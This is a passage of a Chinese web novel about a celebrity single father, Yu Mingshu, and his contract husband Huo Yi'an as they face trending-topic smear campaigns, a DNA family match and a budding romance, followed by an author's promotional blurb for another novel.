嘟嘟的长相不仅是郁明殊一直在小心遮掩,霍懿安之前不想被父母发现,同样让张秘书盯得很紧,不是完全没人拍到过侧脸或者是喝水照,只不过没人愿意铤而走险罢了。 再加上这次曝出的照片,从衣着和视角来看,显然就是医院那天拍的,除了狗急跳墙的薛景灿就不会有第二个人。 之后的造谣抹黑,目的再是明显不过。 只不过任谁都没想到,会跳出了一个无限接近真相的cp粉搅局。 相较于#郁明殊私生子#的热搜,显然是#郁明殊亲自生子#的热搜词条更令人震撼也更加吸睛,两者并列在热搜前排时,网友们都会选择性忽略前者,只将其当做一个信息不全的重复性词条。 除了最初空降热搜时#郁明殊私生子#有过不小的点击量,后期的热度就全都转移到#郁明殊亲自生子#上了,而最初的那部分热度吸引来的大部分吃瓜群众,也都成功被热评第一条的“FULIP”带跑偏。 张秘书更是反应迅速,第一时间就将爆料账号以侵权角度追责投诉,账号被平台官方监管,爆料博主都无法操作,以至于“FULIP”震耳发聩的言论就这么长久挂在了最显眼的热一位置。 现在全网的关注点都跑到了郁明殊如何生子上,压根无人关注薛景灿捏造的豪门千金被骗生子。 当然,薛景灿不是没使用过钞能力,但在这方面显然不如霍懿安经验丰富、财力雄厚。 而他们根本无需澄清什么,自有网友为其辩经。 薛景灿处心积虑又砸了一大笔钱,不仅没能将郁明殊逼出来,还成功帮郁明殊解决了此前遗留的滥情隐患。 现在金主三合一,不仅将滥情逆转为专情,还被无数网友脑补出“破镜重圆”“跨国秘恋”“丢球跑”等狗血剧情。 “金郁良缘”cp粉应运而生,一经创建粉丝数便高速暴涨,超话主持人正是有口皆碑众望所归的“郁金香”TULIP。 相较于薛景灿凭空捏造的可怜富家千金,吃瓜群众更好奇身材堪比顶级男模的金发型男到底是何许人也? 一天下来,各大平台的热搜就没消停过,薛景灿心里就要气炸了,偏偏因突然到访的凯瑟琳不能外露分毫。 “灿,你今天为什么总在看手机?是发生什么事了吗?”凯瑟琳眨巴着她天真漂亮的蓝眼睛,用有些生硬的中文笑着问道。 凯瑟琳的父亲虽然没能坐上珀西家族的家主之位,却也是上一代家主最宠爱的儿子,不仅继承了前任家主的大部分财产,如今也是珀西家族的核心成员之一。 凯瑟琳是他最小的女儿,今年才刚满十八岁,既有着少女的天真娇憨,又有着出身大家族的璀璨光环。薛景灿苦心经营多时才博得美人青睐,近期还成功获得凯瑟琳父亲的赏识。 哪怕是现在急火攻心,也要继续保持着往常那般温文尔雅:“没什么,只是看到昔日旧友上了新闻,还都是些十分耸人听闻的消息。” 说完,薛景灿还微摇了摇头,一脸无奈地将手机屏幕转给凯瑟琳看。 看八卦是全人类共通的喜好,尤其当事人是有些直接或间接联系的“熟人”时,凯瑟琳看得津津有味,遇到生字表现得相当求知若渴。 凯瑟琳的中文是薛景灿手把手教出来的,薛景灿自然很了解她现在的中文水平,让她自己翻看的同时还要适时提供体贴讲解。 薛景灿正强压心中不耐,就听凯瑟琳对着照片上的蓝颜小金毛感叹:“这孩子长得很像珀西家的孩子。” 薛景灿心下不屑,却也只是淡笑了一下:“只是凑巧长了珀西家同款铂金色头发和蓝宝石眼眸罢了。” 实际上想凑巧也挺难的,金发尤其是浅金这一性状很难稳定遗传,蓝宝石般的瞳色也同样如此,珀西家族隐隐以此为荣。 不过,珀西家族不是所有人都兼具这两项特征,像凯瑟琳的父亲和哥哥的头发都是金棕色的,眼睛也不够蓝,正因如此,同样拥有铂金发色和湛蓝眼眸的凯瑟琳才会格外受宠。 但不代表除了珀西家族,就没人同时拥有铂金发和蓝宝石眼睛,当初薛景灿也重点排查过,确认这小东西并非珀西家族成员。 凯瑟琳点头表示赞同,作为佐证她笑着提起:“听我哥说,Ian堂哥前一段时间就带回来了一个有着珀西家特征的养子。” 薛景灿唇侧敷衍的笑意陡然一僵:“什么?” 第79章 凯瑟琳以为自己的发音太不标准,便又用英文说了一遍。 这片刻时间足以让薛景灿冷静下来,他笑着摇摇头:“你刚刚用中文表述的很好很清晰,是我突然冒出了一个奇怪的联想。” 凯瑟琳好奇地眨了眨眼:“什么联想?” 薛景灿面露无奈,一副对自己过于天马行空的念头哭笑不得的模样:“我在想会不会那么巧,我那位旧友的金发男友会不会就是你堂哥?” 凯瑟琳提及的Ian堂哥正是现任家主的独子,一个外界众所周知的神秘存在。 薛景灿近两年来与凯瑟琳关系越发亲密,日常相处中,也逐渐熟识了许多珀西家族成员,对凯瑟琳这位堂哥的认知却只停留在最表面的一层——对方有着一半的霍家血统,还是个履历惊人的学术型天才。 不过珀西家族内部争端不断,但似乎所有人都没把他当成竞争对手,薛景灿一直把这位神秘的“伊恩”视作一个相当极端高智低能的书呆子,所以也压根没往这人身上想过。 薛景灿现在依旧不觉得这世上真有这么巧合的事,只不过既然凯瑟琳主动提及,他也就顺势探听一下。 果不其然,凯瑟琳听完便笑了起来:“这怎么可能?” 不同于与堂哥伊恩年龄相仿也接触更多的亲哥爱德华,在凯瑟琳出生时两家人就已经不怎么来往了,甚至就连圣诞节感恩节这样重要的节日,堂哥也鲜少露面。 凯瑟琳对这位堂哥为数不多的印象,都停留在他相当极端的智商和情商上,毕竟偶尔出现一次就能将爷爷气到发病。 凯瑟琳笑了半天才对着手机上的照片摇头表示:“虽然这个人非常漂亮,但Ian是没有感情的,这是客观存在的生理问题,他是不可能与人结婚生子的。” 其实一开始凯瑟琳是不相信这种说法的,人怎么可能没有感情? 即便对方天生神经发育异常,即便对方是个不世出的天才……直到她亲眼看到堂哥用花瓶砸破爷爷的头,并在爷爷血流如注时面无表情离开,甚至罔顾身后追赶跌倒的伯母。 那一刻给凯瑟琳幼小的心灵留下极大震撼,从此也相信了亲哥爱德华之前曾被莫名暴怒的伊恩打到满嘴是血的说法。 虽然现在的Ian堂哥取得了过人成就,看起来只是性格较为冷淡严肃,但全家都清楚他只是靠过人的头脑学习模拟,装出接近正常人的模样罢了,而非拥有真正的情感。 不然伯父伯母也不会在伊恩堂哥尚未成年时,就积极为他寻找适合领养的继承人。 毕竟没有正常情感,就不可能拥有稳定健康的婚姻关系,即便靠着过人财力结婚也早晚会分开,可能还会引发诸多不必要的麻烦。 而对方的神经发育异常遗传概率显著高于普通人群,伯父伯母显然是早早就放弃了儿子能够正常结婚生子的可能。 薛景灿闻言顿时安心了不少。 虽然这位“伊恩”领养蓝眼小金毛的时间,和郁明殊身边那只蓝颜小金毛出现的时间都是今年下半年,较为接近,可仅是这点联系还是太勉强了。 薛景灿本该彻底放弃这种不切实际的猜测,但在离开凯瑟琳后他又莫名在意地想起了多次,越想越觉得过于巧合了。 这种程度的金发蓝眼十分少见,而不论是郁明殊这边还是“伊恩”那边都对孩子隐私藏得很紧,郁明殊带崽消失犹如人间蒸发,连他都无从追查。 再加上“伊恩”的外祖家正是A市霍家,而此前一直对郁明殊颇有庇佑的正是霍家,虽然他一直认为,这份庇佑是因为郁明殊找了个足够脑残的舔狗欧洋,但也不能完全排除欧洋只是障眼法的可能性。 薛景灿思虑再三还是决定做两手准备…… * 霍懿安:【[链接:虽然只有背影但尊嘟太!配!了!]】 霍懿安:【[链接:凌晨街头相拥+半夜带崽接下班+回寝取东西也要接=超粘人“金发型男”他超爱!]】 霍懿安:【[链接:史上最全金郁良缘cp向嗑糖集合·一眼万年·这不是一见钟情是什么?!]】 …… 霍懿安:【这些还算言之有物,可以看看。】 郁明殊早上一睁眼视线还没聚焦,手机里就弹出了十几条信息提醒,等他看清楚具体内容就忍不住笑了起来。 虽然是压着笑的,几乎没发出声音,但霍懿安还是通过他胸前佩戴的AI记录仪镜头产生轻微晃动,判断出对方已经看到了自己刚刚发送的消息。 为了更全面记录崽子的一举一动,郁明殊现在睡觉时也会戴着这枚仅有纽扣大小的记录仪,虽然一直没拍到什么有用信息,但大大方便了远在千里之外的霍懿安。 为了避免自己发送的消息吵到对方,霍懿安都是提前将想发的攒到一起,等早上通过镜头晃动确定郁明殊已经醒来,再将攒了一夜的消息一口气发过去。 好在郁明殊的手机仍处于静音模式,不然一定会吵到一旁还在酣睡的崽子。 霍懿安:【你是在笑吗?】 霍懿安:【为什么不回我?】 霍懿安:【昨晚睡得好吗?我看嘟嘟睡得很香,他是不是又到处乱跑累到你了?】 霍懿安:【怎么还不回我?】 郁明殊一边将AI记录仪暂时关闭,一边单手回道:【等等】 【你问题太多我回不过来了。】 霍懿安:【打字的确太麻烦了,我们视频吧。】 郁明殊:【?】 问号刚发出去,霍懿安的视频申请已经弹了过来。 郁明殊虽然醒了,但他还想搂着宝贝崽子再多躺一会,这是他最近养成的习惯。 在庄园的日子平静安然,每天唯一的任务就是陪崽跟着劳伦斯一起做游戏,但那也要等到下午,现在他可以慢慢感受每一刻的幸福。 霍懿安显然已经发现了这一点,所以视频弹出几秒未被接通,他就适时抛出诱饵:【有事要说。】 郁明殊也只能离开香香软软的宝贝崽子,快步走到浴室接通了视频通话。 “什么事?” 因是刚关上门就迫不及待接了起来,郁明殊并不知道自己此刻的睡衣领口处于过度敞开状态,而他一开口,又是清晨特有的低哑嗓音,直接把霍懿安看直了听爽了。 “霍懿安?”郁明殊对着镜头晃了晃手,“是…有什么不好的消息吗?” 霍懿安猛然清醒,虽然隔着屏幕对方只能看到他颈部以上,但他还是下意识将长腿交叠。 “没有,是你太漂亮了。” 郁明殊虽然有些无言,但双颊还是一点点漫上红晕:“……所以是查到了什么?” 医院联网是近十年才陆续普及的,二十多年前的记录并不好找,截至目前可以说还是毫无进展的,只是霍懿安心里记挂着分别前对方的抗拒,总是忍不住多做些什么。 霍懿安迟疑一瞬,还是一本正经地汇报道:“你知道吗现在网上对嘟嘟的身世猜测分为两派,一个是破镜重圆亲生派,一个是一见钟情领养派,你觉得哪派比较接近事实?” 郁明殊听出对方是没话找话故意逗自己,尤其是看到屏幕里的男人依旧顶着一张冰块脸,这份反差让郁明殊好气又好笑:“你明知道哪派都不是事实。” 言下之意,这需要问? 霍懿安却像没听出来似的颔了颔首:“我们应该是一见钟情领养亲生崽派。” 郁明殊实在太无语了,连那点隐秘而旖旎的小情绪都瞬间消失无踪:“哪里一见钟情?你也太自恋了。” 霍懿安唇角微微扬起一抹浅淡弧度,湛蓝眼眸中透出灼热视线:“你也太没自信了,当然是我对你一见钟情。” 郁明殊的双颊从浅粉瞬间升级为绯红:“怎么可能!” 脸红归脸红,但他还是信不了一点,霍懿安最初的冷待他可是历历在目。 “三年前被你扑倒后我以为我病了,连续服用半年强效镇定剂,才不至于想你想到彻夜难眠。”从前被他坚定认作应激的强烈反应,现在却能另作归因,霍懿安以为自己会因过于生疏迟疑难以主动提起,但看着镜头中那双魂牵梦萦的水润双眸,任何话语都可以不假思索吐露出来。 霍懿安说完自己也有些发怔,郁明殊更是满脑子问号:三年前?扑倒??? 他是英语一般,但霍懿安说的中文他怎么都有点听不懂呢? 然而不等他发问,郁明殊就先听到了崽子的委屈呜咽。 声量不大,但还是被郁明殊敏锐捕捉。 嘟嘟已经很久没有因为醒来找不见爸爸就立马开哭,肯定是出了什么问题,郁明殊拉开房门就往外跑。 视屏另一端的霍懿安没等到回复,见对面还黑屏了,就以为是郁明殊故意逃避,前一刻还略显茫然的眸子瞬间变得无比坚定:“事实如此逃也没用,不是一见钟情就是一吻定情,如果当初就在一起,嘟嘟的年龄也基本对得上。” 然后就听到崽子的哭唧唧小奶音:“爹地好吵!不要爹地!呜呜呜……” 崽子发话,视频秒挂,霍懿安一记直球直接打出场外。 对着黑掉的屏幕有些无言,但他多少还是有点担心崽子:……如果崽是真哭他希望是假哭,如果是争宠假哭,那他希望是真哭。 霍懿安及时发去问询:【嘟嘟又做噩梦了?】 但也清楚郁明殊哄崽时一向顾不上他,霍懿安便切回cp超话,原想嗑一些网络致幻剂缓解一下,结果刚好撞上热搜空降的瞬间—— #郁明殊 珀西# 霍懿安相当意外,他一向厌恶隐私外泄,但这一刻的嘴角却压都压不住。 啪的一下点开词条,就看到与郁明殊并列的名字并非他霍懿安,而是爱德华·珀西那个该死的蠢货! 第80章 即便是国内的顶级豪门,也只有那些家族成员和网络红人、知名艺人模特、体育明星传出绯闻或婚讯,亦或是家族因突发剧变或某些特殊情况引发讨论的豪门,才会较为广为人知。 普罗大众对国外豪门的了解就更是如此,就像曾经的珀西家族,虽同为金融开拓者和欧美政经背后推手的多元传承的财富世家,但“名气”却远不如其他知名老钱家族。 直到这位爱德华·珀西进入大众视野。 出身老钱家族,又是金发碧眼的赛级白男,和明星网红闹出些混乱的性丑闻本不算什么,真正让吃瓜群众彻底记住他记住珀西家族的,却是因其曾经的未婚妻气不过在网上曝光了爱德华的部分藏品。 一整面墙的干缩人头,成功震撼了中文互联网。 虽然爱德华的前未婚妻很快删除了相关图片,之后也有懂行的人分析过,这些人头虽然都是真的,但都是有上百年历史的“老古董”,最早可追溯到十六世纪。 那时候的权贵阶级就有着向原始部落购买其人头战利品的猎奇喜好,甚至在十九世纪形成购买热潮,直到二十世纪各国才陆续立法禁止,而爱德华·珀西的藏品也被定义为“敏感文化物品”并未触犯B国的法律红线。 即便如此,“爱德华·珀西”这个名字还是在中文互联网引发轩然大波,国内几乎没人相信他所有的人头收藏都是合法合规的上百年老古董。 尤其挖出这人和此前兜售人体骨骼制品的知名富二代网红私交甚笃,就更确定爱德华是个变态中的变态。 只不过后续没再曝出其他消息,而欧美国家猎奇之事本就屡见不鲜,爱德华·珀西这个名字也就逐渐被淡忘了。 没曾想,有朝一日竟会和郁明殊绑定到一块! 不得不说薛景灿这次编得还真是有理有据,一方面爱德华得私人飞机近期频繁飞往国内,只不过鲜少有人知道飞机真实的乘坐者是凯瑟琳而非爱德华本人。 另一方面爱德华追求纯粹金发常年漂染,不仅符合身材高大金发碧眼的外貌特征,此前他男女通吃的混乱情史中,黑发黑眸的漂亮亚男占大多数。 甚至就连早有神秘私生子的传闻都对上了。 作为以防不备的试探,薛景灿也不需要担心爱德华本人或是家中长辈对此不满,毕竟爱德华的名声已经没什么下降空间,万一真诈出郁明殊是“伊恩”的情人,也算多挖出一个可以拿捏的把柄。 而且就算没能试探出什么,他也成功将爱德华这盆脏水泼给了郁明殊。 只要对方还想要演艺事业,就必然会被他逼出来澄清,而想洗清这个黑料,仅是单方面声明是没用的,除非郁明殊能找上珀西家的人一起澄清,而他是不会给郁明殊这样的机会的。 事实也的确如薛景灿所料,消息一出瞬间爆炸: 【谁???爱德华珀西????】 【郁明殊玩这么大的吗?不怕被做成标本挂墙上??】 【我靠,还真是富贵险中求啊……】 【之前就有人说嘟嘟金发碧眼,没准是珀西家族的崽我还喷他来着……】 【卧槽还真是,之前人头墙曝出的时候就有人提过珀西家几乎全是金发碧眼的赛级白人[惊恐猫猫头]】 【某种意义上来说,嘟嘟还真是豪门富家崽……就是这个爱德华……姨姨我是真磕不下啊[痛苦面具.jpg]】 【不儿?你们这就信了??没照片没视频甚至连最好造假的聊天记录都没有一张,你们就信得跟官宣了一样?那我之前说郁明殊是我老婆怎么没人信?还一堆人私信我不要碧莲[白眼][白眼]】 【lgdl,麻烦爆料人拿出证据好伐?按发色定人,那全世界的金发男就都有可能了?】 【但郁明殊明显是傍上豪门才成功翻身,有钱有势、金发还大概率蓝眼睛,同时符合这些的也不多吧?】 【之前我就觉得,能从薛德茂手底下逃出来,一般豪门都做不到,但这个爱德华也太垃圾了!】 【送粉丝一句一被窝睡不出两种人,能和爱德华搞到一块的能是什么好东西?】 看到这里,霍懿安已经快要气疯了。 别说被误会成一对,就是让郁明殊跟爱德华这种垃圾一并提起他都受不了。 一双冒火的眼刀子直接甩向秘书张帅:“立即对外公开!” 相较于一张嘴就像要咬死谁的地狱恶犬般的老板,张秘书还是更习惯之前又冷又傲还没素质的冰山人机。 他深吸了一口气,小心提醒:“之前的婚前协议里严格限制了,不能对外公开……” 虽然当时霍懿安是怕郁明殊泄漏关系搞事或者赖上自己,才制定了相关规则,谁能想到有朝一日霍懿安会一边喷火一边主动要求公开呢? 但急也没用,当初的约束协议是双向的,郁明殊没法擅作主张,霍懿安同样不能对外公开。 思及此,张秘书心底油然而生了一丝丝爽感,回旋镖这种东西,果然还是刀在老板身上最爽了! 虽然很想阴阳怪气一句:不会吧不会吧您不会是忘了自己之前制定了堪比字典厚度的婚前协议吧? 但他还不想这么早离开高薪岗位,张秘书面上还是做出十分为难又相当感同身受的复杂表情。 没曾想霍懿安不仅完全没有半点被回旋镖刀到的,心里还滑过了一丝窃喜,眉头还是紧拧着,唇侧却有了些许柔和弧度。 “那很好啊,违约金直接给到最高档。” 当初两人协议结婚是为了收养西奥多,协议也是本着尽可能将两年的领养考察期平稳度过而制定的,所以惩罚条件多是金钱方面的。 而霍懿安自从被劳伦斯点醒后,越是直面自己的真心,就越想将一切好的都送到郁明殊眼前。 霍懿安虽然逐渐相信自己爱上郁明殊,甚至还是他最不认可的一见钟情,但他一边接受自己遇上了见鬼的真爱,一边还是会极度理智地做出判断——什么真心什么爱情,对人最好最有用的永远都是钱。 有朝一日爱情激素消失了,郁明殊还是可以靠着巨额财富过得很好,这才是霍懿安眼中最好的礼物。 而他正愁没理由给郁明殊花钱呢! 还有这种好事?真是祸福相依喜出望外。 原本的十分愤怒中一下就多了几丝兴奋,男人喜怒交加地催道:“立即落实!” 张秘书:“………” 张帅尽量不在脸上流露出惋惜神色,一边心里痛斥“可恶的有钱人!”一边继续保持着第一秘书的敏锐及时提醒: “结婚是两个人的事,官宣结婚消息也是如此,即便您不介意赔付一笔巨额违约金,也还是应该和郁先生商量一下……” 不等他说完,霍懿安的视频通话已经弹了过去。 张秘书见状也就识相地暂时退出了房间,给夫夫二人留出足够的私密空间。 这次郁明殊接的很快:“嘟嘟已经好多了,你别担心。” 霍懿安其实根本没顾上担心,这会儿打视频的主要目的也不是为了崽子。 但见视频里的小家伙还抽抽噎噎的,小模样可怜极了,男人不自觉将眉头拧成死结:“这次是怎么回事?” 郁明殊亲了亲崽子的发顶,安抚鼓励道:“嘟嘟自己跟爹地说好不好?” 崽子乖巧点头,又吸了吸小鼻子:“宝梦到……梦到拔拔为、为了救宝挡住宝呜呜拔拔流了好多血呜……” 郁明殊不舍得让崽重复痛苦,但劳伦斯之前提醒过他们,还是要在崽子能承受的范围适当帮崽脱敏。 虽然噩梦中的内容对他极为不利,但郁明殊还是更为在意心碎呜咽的崽子。 霍懿安第一反应是平行世界的“郁明殊”死于替崽挡刀,明明清楚崽子并非他们的前世崽,而是来自平行世界,不同世界的发展大不相同……但他的心脏还是停跳了一瞬,好在他很快想起之前“三条命”的说法。 平行世界的“霍懿安”说过,西奥多是“郁明殊”用三条命换来的,所以一定要对他最好。 结合崽子最新梦境,明显是指平行世界的郁明殊曾因崽遭遇了三次性命之危,挡刀流血虽然惊险,但最后还是转危为安了。 这么想着,霍懿安才算恢复了心跳。 不知为什么,即便是平行世界,他都无法接受郁明殊的死亡。 不可以,绝对不可以! 通过视频通话,霍懿安冷静地说出了自己的推测,只不过一不小心额外重复了两遍,就显得他不像是在安慰爸崽,而是在一遍遍说服自己:“……肯定不会有事的。” 注意到霍懿安隐隐泛红的眼底,郁明殊更是有些不敢置信地将手机拿到面前,确认后又快速将视线转回怀中崽: “……当然了,所以嘟嘟也不要担心了,爸爸在梦里都没事呢,现实就更不会有事啦~” 崽子聪明的小脑瓜一转,好像的确是这么回事。 而且即便从前的事情他记不清了,但以后有他在就绝对不会让爸爸出事!崽立即将一双白嫩小手攥得紧紧的。 机智嘟嘟当然清楚他人小力微,比起能将挑衅爸爸的坏蛋一下子撞飞的保镖叔叔,他用尽全力的一巴掌只能给坏蛋留下一个小小的红印。 所以崽子立即看向镜头中的亲爹,挥着小拳头让爹再多雇一些保镖,绝对不能让任何坏蛋再有机会伤害宝贝爸爸啦! 没曾想,崽子奶声奶气的喊话都结束了,视频中的亲爹还在一脸凝重地盯着爸爸,连个余光都没分给他这个小宝贝。 西奥多撅起小嘴:“爹地!” 霍懿安总算说话了,却是爸崽二人都听不懂的:“我们的婚姻关系暂时没办法公开了……” 根据他目前调查出的内容,公开郁明殊是他霍懿安的法定伴侣,爸崽二人面临的风险肯定要比继续保密高得多。 之前的确是他思虑不周,也许平行世界的“霍懿安”也跟他一样心急莽撞掉以轻心,才会让爸崽一再陷入险境。 即便一切都是为了爸崽安全考虑,即便他很清楚抹黑只是暂时的,但挂断视频后,霍懿安还是陷入前所未有的糟糕情绪。 然而更糟糕的是三个小时后,爱德华被油管网红偶遇,被问及此事时,他竟然笑容暧昧语气玩味地默认了! “……呵呵他非常漂亮不是吗?” 霍懿安几乎被气得一佛出世二佛升天,额角的青筋都爆出来了。 就在这个暴怒的气头上,大气都不敢喘一下的张秘书意外接到了警局电话。 不久前他代为录入官方寻亲系统的DNA,已经有了初步结果,需要再补采一次样品进行复核,如果复核鉴定通过就可以安排后续认亲事宜了。 作者有话要说: 推推超可爱的完结养崽文~《带龙傲天崽崽上娃综爆红了》文在专栏~[让我康康][让我康康][让我康康] ◆陆傲天死后才知他是注定惨死的龙傲天反派,从快穿局退役后他选择穿回来大杀四方。 结果时间线错乱,他被传送到出生前。 陆傲天邪魅冷笑:“呵,区区意外不足为惧。” 《娃综》采访人员嘴角一抽:“呃……陆嗷嗷小朋友……还有其他想和实习爸爸说的吗?” 陆傲天:? 他低头看到自己的三头身,沉默了。 * 季诺是个黑料缠身的小糊咖,阴差阳错和影帝“恋情”曝光,喜提炒cp协议一份。 官宣后上《娃综》趁热打铁,影帝行程满,节目组找了个肖似影帝的孩子,让季诺带娃为cp预热。 结果开录前,季诺收到“绝症”诊断。 他原地躺平:人都要没了还带娃?绝无可能,还配合影帝秀恩爱洗白?他反手一个退圈一步洗到透明。 没曾想便宜儿子一上线,季诺惊呆了。 粉雕玉琢的小团子不仅是影帝缩小版,还和他同款桃花眼小梨涡,说是两男人打破科学壁垒亲生的都有人信。 季诺一个咸鱼打挺想带崽一起躺,结果这崽—— “区区感冒就想让我吃药?绝无可能!” “比赛放水?做梦!我生来便是第一。” …… 荒岛求生,隔壁熊孩子下巴仰上天:“我叔叔是特种兵,想吃鱼求我啊!” 崽歪嘴一笑,转身扎进河里,徒手抓了八条鱼。 季诺:…… 其他人:演的吧???! 起初网友们吵着让父子俩滚粗娃综: [想吸韩老师血洗白?] [拒绝手握剧本的垃圾资源咖!!] 后来随着节目播出,父子俩热度大爆: [好家伙剧本都不敢这么编,想魂穿季诺体验被崽带飞的快乐。] [崽崽好棒诺诺好米啊啊啊啊我要来拆散这个家!韩影帝决斗吧!] [我的嗑糖源泉呜呜呜QAQ一家三口多录亿季!!!] * 再后来,崽确认季诺值得托付,用秦始皇打钱的口吻发号施令:“我爸是未来首富陆寒呈,带我去找他,给你五千万。” 季诺看向虽然只有四岁,说话却像得了十年脑血栓的崽,虚弱微笑:“这世界真的没有叫陆寒呈的人呢。” 很快,影帝被爆出身顶级豪门,本名陆寒呈。 季诺:???? 影帝带着爆炸式热度回归,一进门,对上一大一小直勾勾地瞪视。 季诺:有孩子了还和男人炒cp,狗都不如!呸! 崽:难怪将来我妈会难产死,骗婚死gay!呸! 影帝:? ……他不该先迈左脚进门?《 》 80-90 第81章 张秘书不清楚原委,只以为老板开窍了看待感情问题更全面了,才会主动帮郁明殊找亲生父母。 所以挂断电话后他相当惊喜地转述道:“……据工作人员说两份DNA样品几乎是同一时间录入的,真是非常有缘分!” 听完,霍懿安的怒气平复了不少,但眉头却锁得更深了几分。 因遍寻无果,他们才尝试使用常规寻亲途径,能这么快就收到消息反馈已经有些意外,更别说对面也是从近期才开始寻找郁明殊,再加上崽子此前莫名的“不阔以”,这份所谓“缘分”只让霍懿安感到了来者不善。 他毅然做出决定:“立即安排返程。” 张秘书:“……?” 他们不是刚到?脚印都没踩实就立即返航,合着跑出来就是为了坐飞机玩呢? 霍懿安抬眸,眼神凛冽,寒气逼人。 张秘书一下就跟被电打了一样,点头如抽搐:“好的霍总!” 现在事情都串到一起,处理家族事务变得同样重要,但霍懿安只要想起郁明殊在提及亲生父母时的黯然,闷涩的内心就只剩一个念头,他一定要回去陪他一起面对。 他像是无师自通般学会感同身受,甚至这件事放在旁人亦或自己身上,他也不会产生如此鲜明又复杂的感触。 即便父母多年来一直努力为他制造情感羁绊,希望弥补他这份天生的不足,但霍懿安只能从明辨是非的角度认可那些感情,并尽力给予回馈,比如认真配合父母每一次发起的漫长无趣的闲聊。 霍懿安积累了足够多的常识,清楚父母亲情的重要性,但他始终认为这并非什么必需品,甚至人类的所有情感交互都是非必须的,直到郁明殊的出现。 郁明殊像是一把帮他打开陌生世界的钥匙,让他感受到了从前从未探寻过的情感脉络。 原本那些令他费解的事,一旦落在郁明殊身上,透过那双桃花眼中鲜明的喜怒哀乐,他便可以无师自通产生共情。 所以霍懿安毫不犹豫迅速返航,当然,他也知道早点查清珀西家族的烂事同样重要,所以他直接将秘书留下来加班,方便他远程跟进。 * 霍懿安半夜飞走,中午又飞了回来,郁明殊接到电话时相当诧异:“……是出了什么事吗?” 总不会是单纯为了烧钱吧。 霍懿安不希望郁明殊在见到他之前就开始多想,相当体贴地撒下谎言:“没什么,只是公司临时有些事要处理,中午让我父母看一下嘟嘟,我们单独见一面。” 郁明殊:“………”这是没事? 郁明殊想了想还是没多问,既然霍懿安特别跑回来当面说,肯定是有他的考量。 然而这边郁明殊答应的很干脆,西奥多却在听到后一秒炸毛。 “习么?!!!” “补要!!宝补要离开拔拔!!!” 别说“也就十分二十分”,一分钟都不可以!爱爸崽离开爸爸一秒就会枯萎嘟! 霍懿安虽然不在场,但崽子还是接起霍懿安电话时瞬间横成刀子眼:“宝!不!同!意!” 霍懿安毫不意外,小臭崽一向过于黏爸,别说只是午饭时间了,两人几次在这崽睡着后单独谈话都会被小家伙中途发现。 “我和爸爸有正事要谈。” 崽刀子眼微眯,小胸脯挺起:“宝也要听!” 霍懿安:“你太小了,这次的正事不适……” 西奥多:“宝已经三十多个月啦!” 霍懿安:“你就算换算成九百天也没用。” 崽被坏爹噎得直喘粗气,但气归气小脑花仍旧转的飞快:“……宝阔以保护拔拔。” 霍懿安一听这话都不是喊着说的,就知道小臭崽说的相当没底气,当即轻笑出声:“你能打赢保镖?” 不是嗤笑嘲弄,单纯是觉得小臭崽天真刁蛮得太过有趣。 即便不是视频通话,也丝毫不妨碍他想象出电话那端的崽子,此刻会呈现出怎样鲜明可爱的小表情,尤其是想到这些灵动小表情是出现在与郁明殊幼时如出一辙的小脸蛋上。 霍懿安油然而生一份复杂情绪,他既心疼从小乖巧懂事如履薄冰却未被善待的郁明殊,又庆幸他有机会在几个月前因崽的出现提前介入其中。 甚至有机会让他们的孩子,另一个“小郁明殊”能够在截然不同的环境中肆意成长,也算弥补他曾两次错过郁明殊,未能见证其成长的遗憾。 几分钟后,霍懿安成功单独见到了郁明殊,便迫不及待将这份爱屋及乌的感悟告诉了他。 “……我很庆幸我能从现在开始看着嘟嘟长大。” 霍懿安虽然仍旧保持着没太多情绪的冰块脸,语气音调也过分平直,但郁明殊听多了男人的机言机语,还是很容易听得出他的反常与真心。 郁明殊见过许多人,霍懿安是其中最不正常的,一开始甚至像个没有感情的机器人,可现在这样真挚的话,却偏偏只有他说过。 郁明殊无法不被打动,却还是快速垂下眼缓解情绪,并很快笑着回道:“这话你应该跟嘟嘟说清楚,他刚刚以为你在嘲笑他,现在非常生气呢。” 霍懿安凝望着他:“你呢?” “什么?” “你有没有生气呢?” 郁明殊莫名笑了笑:“当然没有。” “可我却有些生气,”霍懿安蹙着眉回忆道,“虽然你已经不记得了,但在你拍摄萌礼广告也就是我们初次见面时,我母亲曾提出要问询你父母的联系方式,想让你给我当玩伴……” 作为让儿子第一个主动攀谈的陌生小朋友,又长得那么精致漂亮,完美击中霍云轻的颜控属性,她自然生出过将人拐回家帮儿子开拓社交能力的想法。 却被当时的小霍懿安直接拒绝了。 原因很简单,当时的霍懿安本就极不耐烦父母总是强行训练他,迫使他捕捉、分辨旁人情绪信号的行为,他更想将全部的时间精力都用在他感兴趣的研究领域,而不是昨天被迫与霍家兄弟姐妹进行无意义对话,今天被押着参加同名游乐园周年庆。 同龄人尚且跟不上他的思路,还没到他腰线的小矮子只会更烦。 而当年的小霍懿安无论如何也想不到,十几年后他会对此懊悔不已,甚至对自己当初的武断决策,生出几分无法释怀的愤懑。 他不仅错过了当年的小郁明殊,他还错过了三年前的郁明殊,若非突然从天而降的崽子,他还会继续错过,而这是最令他难以接受的。 原本只是想在郁明殊获知身世真相时单独陪在他身边,只有他们两个的时候,郁明殊不需要为身为人父而强撑坚强,他也可以在其脆弱时替代崽子给他一个心安的拥抱……此刻的他却先一步陷入悔恨后怕中。 霍懿安突然声音艰涩地问道:“我可以抱抱你吗?” 然而话刚出口,郁明殊便已经被他猝不及防拥入怀中。 怀抱越收越紧,像是怕郁明殊会突然消失一般,低沉的喘息和艰涩的声线也如藤蔓般缠绕紧缚:“我真的很生气……为什么不能早些发现……” 这是霍懿安第一次对自己的天生神经异常,产生了强烈的负面情绪。 他很难不去想,如果他是个正常人,肯定会在第一时间意识到郁明殊的宝贵和特殊,他会在那时就紧紧抱住他。 这样郁明殊的养父母不仅没法伤害他,还会表现出很爱他,郁明殊的亲生父母也许那时候就会找上他们,不论真假,郁明殊会接收到许多爱而非伤害。 郁明殊听懂了霍懿安的未尽之言,尽管他立即抬起下巴深呼吸缓解,但失控的泪还是落了下来。 不过他还是尽可能稳住情绪,给出理智回答:“如果你能早发现,你就不需要玩伴了呀。” 霍懿安垂眸,不仅看到了郁明殊湿漉漉的桃花眼,还有对方因仰头控泪而近在咫尺的唇。 翕动开合,湿软可口。 气息微滞,霍懿安凝视着郁明殊的泪眼,毫不犹豫覆了上去。 温暖柔软的舌撬开他的唇齿,郁明殊别说拒绝了,他甚至忘记了呼吸。 脑中只剩下霍懿安带来的极为陌生的触感。 大概是因为男人的体温偏高,唇齿间的温度也格外灼烫。 